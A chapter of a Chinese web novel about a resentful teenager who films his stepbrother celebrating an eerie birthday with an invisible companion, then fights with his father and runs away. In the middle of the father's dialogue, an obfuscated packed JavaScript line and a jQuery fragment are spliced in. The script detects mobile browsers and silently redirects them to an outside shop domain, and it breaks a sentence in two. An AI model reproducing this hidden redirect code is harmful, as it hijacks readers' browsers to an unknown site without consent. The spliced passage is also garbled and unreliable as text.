心情正常、状态正常、上课正常、进食正常。
这位新来的大哥阮藏和每一个高三的学生一样,日出而作、日落也没息。
阮藏成绩还行,眼睛又大又黑,皮肤很白,嘴唇是浅粉色的,乖乖穿着校服,像棵安静俊秀的小树。
他从不跟男孩们疯,文文静静地跟在身后,这类斯文腼腆的个性,偏偏很受女孩们的喜欢,不仅如此,连许多男生也不嫉妒他,到哪都像带门面看板似的带着
无聊得让祁奕澄几乎要放弃这个毫无异常的找异常游戏。
但有天祁奕澄在家,阮藏不知道。
那天他爸本来想带着一家人,当然了,祁奕澄本质上不认可梁阿姨和阮藏是一家人,他爸想带他们出去放松一圈,正好学校放假,也借此拉近彼此的关系。
不是他喜欢的场合,祁奕澄直接拒绝。祁奕澄说他要找同学打篮球,但是阮藏也没去,说下周要月考了,还是留在家看书。
祁奕澄才不信这家伙会复习呢,纯粹不想跟他爸出去罢了。
最后去的就梁语冰和他爸俩人,成二人约会了。
无所谓,祁奕澄会偷偷跑回来。
打什么篮球打?又不玩唱跳rap。
对此,阮藏一无所知,秀丽的少年正坐在阳光照不到的楼梯上,旁边似乎放了只插着一支蜡烛的蛋糕。
远远听到几声说笑,少年的声音,像磨砂风铃碰撞的声响,清透又带着沙砾的。
“哈哈哈哈哈,是吗?那你……”
祁奕澄循声望去,阮藏似乎在跟某个人说笑,他的第一想法就是:阮藏居然带人回来了?
就知道这个便宜哥哥没学习!
只见玄关处,一名清傲精致的少年,正偷感极重地换拖鞋,像生怕阮藏听到动静似的。
祁奕澄只是在想,阮藏这家伙,居然真当这里是自己家了,还敢带人回来,懂不懂分寸感?!
他定要出现,然后破坏气氛地嘲讽一番,让阮藏、阮藏的朋友脸上都过不去,看他们还好不好意思留在家里。
祁奕澄又想阮藏这么受欢迎,还在那聊得那么开心,却从没见他对自己笑过,总是一副死人脸给谁看呢?不会在偷偷谈恋爱吧。
这个年纪的恋爱是一项敏感又引人注意的话题,抱着一点点的看热闹和绝大部分的好奇,teenager拉上卫衣的帽子套头,掩耳盗铃地进行了掩饰,祁奕澄直接蹲在墙角。
而另一边,阮藏却语气轻快得恍若撒娇。
“生日快乐哦,你说生日歌?要听吗?好幼稚……”
祁奕澄有些惊讶,因为,他从来没在这个哥哥脸上见到过那种表情——阮藏雪白的脸上染上淡淡的绯红,长而卷曲的睫毛垂下盖住眼睛,微微笑的模样,有些羞赧。
确实像谈恋爱啊,人呢?
人机哥哥扬起双眸,无知无觉地坐在楼梯上,对着空气,捧起放在旁边的蛋糕。
阮藏端起插了一只蜡烛的红茶栗子蛋糕,兴致勃勃地跟“眼前人”介绍,“我可是特意去蛋糕店定制的,上边的巧克力都是你的名字呢。”
“十八岁生日嘛,肯定不一样,你说我?还要几个月成年吧,我比你小几个月来着?”
阮藏端着蛋糕陷入沉思,浅棕色的伯爵红茶奶冻盖了一层特调栗子泥,固体巧克力斜着插在奶油上,那上边的字母是——Y@#_i
好吧,祁奕澄没看清。
带着发带的少年眯着眼,上身前倾,为了看阮藏究竟在给谁过生日,险些从角落掉出来,急忙扶住墙角,又撤回去了,被吓晕。
阮藏浑然未觉,忽然说道:“还是要唱生日歌?那好吧。”
犹豫了瞬,阮藏还是答应,有些羞涩地清了清嗓,不太熟练地用尚在变声期略带沙哑的嗓音哼起了“happybirthday”。
沙沙的玻璃音,还蛮好听的,祁奕澄听着听着摇头晃脑,猛然回过神,不对。
这不对吧……
阮藏哼完歌,忽然很开心地对面前的空气欢呼:“祝你生日快乐!吹蜡烛吧。”
鬼给你吹蜡烛哦。
不知名的角落,祁奕澄表情愈发复杂,眼睁睁看着阮藏对着空气自导自演。
半晌,像为了回应他,摇摇欲坠的蜡烛被一阵风骤然吹灭,似乎真有看不见的人正与阮藏面对面,吹灭了生日蜡烛。
蜡烛熄灭那刻,祁奕澄寒毛炸起,再看阮藏,他就像在跟人分享蛋糕,阮藏问:“好吃吗?”
蛋糕的浅棕色一点点灰暗下去,明明是勾起人食欲的奶油,不知道为什么,骤然挥发了一股不太新鲜的色彩。
祁奕澄对灵异不是很感兴趣,也并不热衷恐怖电影,但眼前,阮藏一派天真的言行,浑然未觉面前空无一人,自顾自地为祁奕澄上演了一场灵异纪录片。
然后阮藏还说:“咦?为什么是送我礼物,不是你生日吗?”
“哇——是风铃!”
“提前庆祝你的十八岁生日哦,阮阮。”
阮藏黑亮的瞳孔中,正倒映一只青白的手,那只了无生气的手拿了串白蓝晕染的风铃,只是瓷器白色的部分有某种融合进纹理的古怪粉色,下边则是用红绳坠着的明黄色卡纸。
其实阮藏觉得风铃的配色有点奇怪,也并不漂亮,但不知为什么,他很欣喜地接过,“谢谢你哥哥,如果我今天收了礼物,能不能和你同一天生日呢?”
啥?哥哥?
祁奕澄表情愈发复杂起来,没想到阮藏幻想里的,居然还是个男生!
他下意识紧紧了帽子,双手拉着衣领将脆弱的脖颈包裹,喉结滚动,又悄咪咪摸回鞋柜,换上运动鞋,悄咪咪出了门。
直到跑出门,祁奕澄才撑着膝盖喘息,将憋着的气彻底吐出,他快不能呼吸了。
少年迫不及待地掀了帽子,从口袋里掏出手机,点击视频播放。
视频里,阮藏的歌声莫名空灵,悠悠荡荡,像独自歌唱的寂寞幽灵。
祁奕澄听不下去了,像炸毛的猫,头发都快炸起来。
这左不过是阮藏又犯病,看到了什么奇怪的幻觉,但祁奕澄脑袋里循环播放着阮藏说的话:吹蜡烛吧。
蜡烛真的被一阵风吹散了。
他打了个寒颤,祁奕澄立马摁了暂停键,像抓住什么把柄,满脸坚定地握住手机。
祁奕澄只是觉得,阮藏压根没好。
虽然看起来和正常人差不多,没人的时候,却又悄悄犯病。
这下,他终于有理由把阮藏赶回疗养院。
实际上,祁奕澄也不是非得把阮藏赶回医院,他就是不想让阮藏踏进自己家,而且阮藏一走,梁阿姨肯定又要奔波于照料有大病的儿子。
这下家里又没外人了,哈哈哈。
真好,他觉得特别好,祁奕澄真是个小天才呀。
很好的主意,令上头的激动一下冲淡了对诡异的恐惧,祁奕澄甚至说服自己,他是在为阮藏好。
对呀,这货压根没好全,万一在家里惹出事故怎么办?精神病砂仁又不犯法,他可太害怕了。
祁奕澄很快告诉自己的父亲,如他所料,祁继钦开始不相信,因为阮藏最近的检查精神状态都很稳定。
好多次,还是由祁继钦陪着去的。
然后祁奕澄打开手机视频,展示阮藏不正常的“罪证”。
父亲望向视频里神神叨叨的阮藏,露出复杂的神色。祁奕澄为此得意洋洋。
过了会,祁继钦像下定某种决心,摁了暂停键,紧接着删除视频……欸!删除!!!
祁奕澄夺回手机,很生气地瞪着老爸,“爸,你删我视频做什么?!”
“奕澄,我知道家里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776343|210030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
新成员让你很难适应,爸爸以前忙于工作,很少关注你,所以你就心理不平衡,想用叛逆的方式引起注意,这都没问题。”
“爸爸为忽视你道歉,可是你梁阿姨为你哥哥的事憔悴不堪,阮藏的心理很脆弱,爸爸得好好照顾他,那孩子失去了父亲,受了刺激,他……”
“他脆弱?我就不脆弱?!”
祁奕澄一点就炸,立马吼出声,“哪有父亲对其他人的儿子,比对自己儿子还亲!你还删我视频!”
儿子满脸委屈,一下削弱了青春期的叛逆感,祁继钦不知道该怎么说。
等他意识过来,祁奕澄就已经进入了叛逆期并拒绝和他交流,在梁语冰没到来以前,父子俩就难以在同一个空间共处。
如今为着有外人在,祁奕澄青春期好面子,还不怎么和他吵架,大多时候横眉冷对家里的所有人。
一团乱麻的关系,好不容易稳定下来。
祁继钦扶额,几乎能够想象,祁奕澄再冲动一点,把阮藏犯病的事捅出去,梁语冰又要难受,阮藏就更受不得刺激了。
为此,他选择顾全大局,“小澄,爸爸先跟你道歉,但是这事我权当没看见,阮藏我也会重新带他去检查,这件事,你就不要告诉你梁阿姨,也不要让你哥哥知道。”
祁奕澄快气炸了,扯着嘴角冷笑出声,人无语的时候真的会笑出来。
他冷冷地说:“说到底,你还是更在意那个女人和她的儿子是吗?”
“你是不是早就忘了我妈是怎么死的?!”
此话一出,直接激了逆鳞,更像一道软刺横亘在父子之间。
祁继钦脑袋一热,双眼通红,抓着茶杯就要扔,祁奕澄不躲不避,大有你有本事砸死我的意思在。
男人咬牙,愣是硬生生将茶杯抓起,扔了过去。
白瓷杯砸向祁奕澄旁边的墙壁,晕染开一片冒着热气的水渍,祁继钦一拳砸在桌子上,满眼血丝瞪着祁奕澄,祁奕澄也不遑多让。
“别跟我提你妈!”
“怎么?你连她手术都不在场,人去了还赶不回来,还不让我提她?”
这动静把梁语冰惊上来,进了书房,看到乌眼鸡似的父子俩。
也把阮藏惊了上来,担忧地望了祁叔叔一眼,紧接着上来看祁奕澄热闹。
那天的最后,以祁奕澄“砰”一声把门摔得震天响结束。
祁奕澄离家出走了。
祁继钦气得不行,嘴硬道:“走!让他走!都别拦着!”
阮藏,“……”
多么熟悉的矛盾。
阮藏才不会去找祁奕澄,孩子死不了。
但是他记得,好像自己闹离家出走的时候,总会有人找到他,卖笑脸、哄着、劝着,把阮藏劝回去。
而另一边,祁奕澄不觉得自己有错,始终中二地觉得错的是这个世界。
他还是不明白为什么人人都喜欢那个神经病阮藏,只不过外表看着正常而已。
对,祁奕澄和祁继钦唱反调,每次都能吵得脸红脖子粗,说不了几句话,但不代表祁继钦就能直截了当地抛下他,留他一个人停留在母亲去世那天,然后理所当然地迎来人生的第二春,还白得一个好大儿。
报仇!他要报、仇——
祁奕澄在酒店躺了几天,他爸的秘书天天装路人制造偶遇,就为了看他有没有出意外。
那又如何,难不成秘书睡觉都能跟着他?
祁奕澄决定搞票大的,既然祁继钦铁了心要偏袒那神经病,万一阮藏自己受不了想走呢?
对,没错!
阮藏脆弱人人都想保护他,那他祁奕澄就不脆弱了吗?为什么都没人在意他?
他还比阮藏年纪小呢!不就是长得比自己柔弱一些吗?!装什么绿茶!
他要搞票大的,祁奕澄要搞票大的!!